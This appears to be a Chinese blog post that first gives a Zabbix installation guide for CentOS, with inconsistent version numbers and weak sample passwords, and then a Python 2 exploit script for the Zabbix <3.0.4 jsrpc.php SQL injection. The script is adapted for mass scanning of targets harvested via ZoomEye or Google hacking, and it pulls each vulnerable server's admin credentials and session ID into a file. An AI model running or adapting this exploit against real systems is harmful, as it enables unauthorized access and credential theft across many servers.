zabbix 安装配置以及漏洞检测脚本
最近zabbix爆出sql注入漏洞。之前一直没装过。就想着来安装一次。我在centos配置玩玩,记录一下:
1.安装LAMP
yum -y install httpd mysql mysql-server mysql-client mysql-devel php php-mysql php-common php-gd php-xml php-mbstring php-bcmath php-odbc curl curl-devel net-snmp net-snmp-devel perl-DBI ntpdate openssl-devel zlib-devel glibc-devel gcc automake libidn-devel rpm-devel OpenIPMI-devel
2.配置LAMP
修改 apache 的配置文件的首页顺序
vim /etc/httpd/conf/httpd.conf
DirectoryIndex index.php index.html index.html.var
配置 php 主配文件
vim /etc/php.ini (去文件里查找 而并非添加。用/直接搜索)
max_execution_time = 300 (最大扩展 执行时间)
max_input_time = 300 (最大输入时间)
date.timezone = PRC (时区,PRC---> 中国。)
post_max_size = 32M (上传文件的大小)
启动Apache,Mysql
service httpd start
service mysqld start (第一次启动就是对mysql 数据库的初始化 )
chkconfig mysqld on 设置开机启动
chkconfig httpd on 设置开机启动
3.下载且编译安装
创建zabbix用户和组
groupadd -g 201 zabbix
useradd -g zabbix -u 201 -m zabbix (增加一个执行zabbix 监控的用户)
下载解压安装
wget https://sourceforge.net/projects/zabbix/files/ZABBIX%20Latest%20Stable/2.2.6
tar zxvf zabbix-2.4.6.tar.gz
cd zabbix-2.2.6
./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --enable-proxy --with-mysql --with-net-snmp --with-libcurl
make
make install
操作数据库
mysqladmin -uroot password '123456' (设置服务器mysql数据库密码)
mysql -uroot -p
mysql> create database zabbix character set utf8; (创建zabbix这个数据库)
mysql> grant all privileges on zabbix.* to zabbix@localhost identified by 'changeme';
(grant all : 授权给所有 on :针对用户 (授权的对象)
to zabbix@localhost identified by 'changeme'通过zabbix本机,并给
与 changeme 这个密码 来登陆。并享有所有权限。)
mysql> flush privileges; (刷新授权表,然后数据库里是没有任何数据的)
mysql> use zabbix ; (用 use命令 进到 zabbix 这个用户)
mysql> show tables ; (用 show 这个命令 查看这个数据表)结果没有发现任何数据表
mysql> exit
导入表结构
# mysql -uroot -p zabbix</root/zabbix-2.2.6/database/mysql/schema.sql
# mysql -uroot -p zabbix</root/zabbix-2.2.6/database/mysql/images.sql
# mysql -uroot -p zabbix</root/zabbix-2.2.6/database/mysql/data.sql
# mysql -uroot -p
mysql> use zabbix ;
mysql> show tables ;
4.添加zabbix服务端口
vim /etc/services
zabbix-agent 10050/tcp Zabbix Agent
zabbix-agent 10050/udp Zabbix Agent
zabbix-trapper 10051/tcp Zabbix Trapper
zabbix-trapper 10051/udp Zabbix Trapper
拷贝文件
cp -a /root/zabbix-2.4.6/frontends/php/* /var/www/html/
vim /usr/local/zabbix/etc/zabbix_server.conf
DBName=zabbix
DBUser=zabbix
DBPassword=123456
chown -R apache:apache /var/www/html/
6、配置zabbix管理(做软连接之前 被链接到的目录没有要链接过来的配置文档,链接之后就有了)
# mkdir /var/log/zabbix
# chown zabbix:zabbix /var/log/zabbix/
# ln -s /usr/local/zabbix/etc/ /etc/zabbix
# ln -s /usr/local/zabbix/bin/* /usr/bin/
# ln -s /usr/local/zabbix/sbin/* /usr/sbin/
7 拷贝启动脚本(方便可以用 services zabbix start/stop/restart 命令)
前提是 zabbix 必须有 读 写 执行 权限:
# cp /root/zabbix-2.4.6/misc/init.d/fedora/core/zabbix_* /etc/init.d/
8. 修改启动脚本路径:
# vi /etc/init.d/zabbix_server
修改
BASEDIR=/usr/local
为
BASEDIR=/usr/local/zabbix
# vi /etc/init.d/zabbix_agentd
修改
BASEDIR=/usr/local
为
BASEDIR=/usr/local/zabbix
9 启动服务:
# chkconfig zabbix_server on
# chkconfig zabbix_agentd on
# service zabbix_server start
# service zabbix_agentd start
漏洞利用:
昨天我在写脚本的时候在提取用户名和密码的时候卡了一下。本来想用正则,何奈我不知道构造,最后我是用split()截出来,今天早上看见独等写得不错。顺道贴出来:
代码来自:http://www.waitalone.cn/zabbix-sql-1.html,我改了一下从文件中获取url,批量打击,例如可以用zoomeye批量获取ip,获取自己写google hack工具来获取ip
#!/usr/bin/env python
# -*- coding: utf_8 -*-
# Date: 2016/8/18
import urllib2
import sys, os
import re
def check_Sql():
u'检查是否存在SQL注入'
payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(url + payload, timeout=10).read()
except Exception, msg:
print msg
else:
key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
if key_reg.findall(response):
return True
def sql_Inject(sql):
u'获取特定sql语句内容'
payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(payload, timeout=10).read()
except Exception, msg:
print msg
else:
result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
results = result_reg.findall(response)
if results:
return results[0]
def get_ip():
urls = []
with open('url.txt','r') as f:
for line in f.readlines():
urls.append(line.strip())
return urls
if __name__ == '__main__':
# os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 60 + '+'
print '\t Python Zabbix<3.0.4 SQL注入 Exploit'
print '\t\t Time:2016-08-18'
print '+' + '-' * 60 + '+'
# if len(sys.argv) != 2:
# print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 网站地址'
# print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.google.com/'
# sys.exit()
# url = sys.argv[1]
urls = get_ip()
passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(alias,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
for url in urls:
if url[-1] != '/': url += '/'
if check_Sql():
print u'Zabbix 存在SQL注入漏洞!\n'
password = sql_Inject(passwd_sql)
print u'管理员 用户名密码:%s' % password
session_id = sql_Inject(session_sql)
print u'管理员 Session_id:%s' % session_id
if password and session_id:
with open('zabbix_bug_list.txt','a') as f:
f.write(url +"----" +password+ "----"+ session_id+ '\n')
print '写入成功--zabbix_bug_list.txt'
else:
print u'Zabbix 不存在SQL注入漏洞!\n'
zabbix 安装配置以及漏洞检测脚本的更多相关文章
- zabbix安装配置
实验环境 主机名 操作系统版本 IP地址 安装软件 console CentOS 7.0 114.55.29.246 Httpd.Nginx.MySQL.Zabbix log1 CentOS 7.0 ...
- zabbix安装配置(2.4.5)
这是第一次安装配置,直接遭遇配置文件不明晰的大坑,因在编译阶段未指明配置文件路径,导致zabbix_server启动时直接读取默认的 /usr/local/zabbix/etc/zabbix_serv ...
- zabbix安装配置agent程序之agent配置文件详解
安装zabbix-agent http://repo.zabbix.com/zabbix/3.2/rhel/6/x86_64/ 下载:zabbix-agent-3.2.0-1.el6.x86_64.r ...
- Hadoop实战4:MapR分布式集群的安装配置及shell自动化脚本
MapR的分布式集群安装过程还是很艰难的,远远没有计划中的简单.本人总结安装配置,由于集群有很多机器,手动每台配置是很累的,编写了一个自动化配置脚本,下面以脚本为主线叙述(脚本并不完善,后续继续完善中 ...
- zabbix 安装配置介绍
200 ? "200px" : this.width)!important;} --> 介绍 Zabbix是一款能够监控各种网络参数以及服务器健康性和完整性的软件.Zabbi ...
- zabbix安装配置2
1.平台:centos6.5 2.安装epel: yum install http://mirrors.aliyun.com/epel/6/x86_64/epel-release-6-8.noarch ...
- zabbix 安装配置
zabbix的配置文件一般有三种:zabbixserver的配置文件 zabbix_server.confzabbixproxy的配置文件 zabbix_proxy.confzab ...
- nginx访问不了zabbix安装配置界面
通过yum安装的php等其他各种软件,配置好后,html目录下面php可以解析,但是就是访问不到setup.php文件.后来各种查找,发现是setup解析错误 PHP Parse error: sy ...
- URL重定向漏洞,python打造URL重定向漏洞检测脚本
前言: 今天学习了重定向漏洞,这个漏洞比较好理解 漏洞名:URL重定向漏洞 威胁:低 漏洞的来源:开发者对head头做好对应的过滤和限制 例子: 有漏洞的网站:http://a.com/x.php?u ...
随机推荐
- AngularJS Change Path Without Reloading
To change path URL with AngularJS, $location.path() is passed the new URL as a parameter, and the pa ...
- c#、sql、asp.net、js、ajax、jquery大学知识点笔记
<table cellSpacing="0" cellPadding="0" width="609" height="470 ...
- How to upload a file in MVC4
Uploading a file in Asp.Net MVC application is very easy. The posted file is automatically available ...
- C#线程池用法
C#线程池用法 在C#编程语言中,使用线程池可以并行地处理工作,当强制线程和更新进度条时,会使用内建架构的ThreadPool类,为批处理使用多核结构,这里我们来看在C#编程语言中一些关于来自Syst ...
- Debian 7.1设置中文环境
之前在Chinaunix上看过一个人写过博客,是关于介绍Debian设置中文环境的,在这里我针对Debian 7来补全一下. Debian是非常经典而优秀的Linux发行版了,Debian是个很大的家 ...
- python(学习之路一)
''' Created on 2013-5-3 @author: lixingle ''' #输出的练习 length=3 width=4; area=length*width print(area) ...
- dmp文件导入的方法
1,使用oracle的imp命令导入*.dmp文件 首先要明确知道,使用oracle的imp命令进行导入,要在一个空的数据库下,才是最好的,否则,数据表存在的话,就要先删除数据表中的数据 步骤1:禁用 ...
- 广告基本知识-ROI分解
任何一个在线广告系统,都面临ROI的问题,对于Invest,我们先不考虑,因为对于流量有多种方式可以买回,也无法优化(当然在RTB的时候是可以优化的).Return是主要优化的方向,Return=点击 ...
- Bitmap的读写
Bitmap的读写和几个小儿科的滤镜效果~ 闲来玩玩图像处理,拿破仑说过:“不想自己实现滤镜的美工不是好程序员~~#@!*^...#&!@......” 因为在学校做过很多美工的工作,而且从 ...
- MySQL模式 : Strict Mode
I. Strict Mode阐述 根据 mysql5.0以上版本 strict mode (STRICT_TRANS_TABLES) 的限制: 1).不支持对not null字段插入null值 2). ...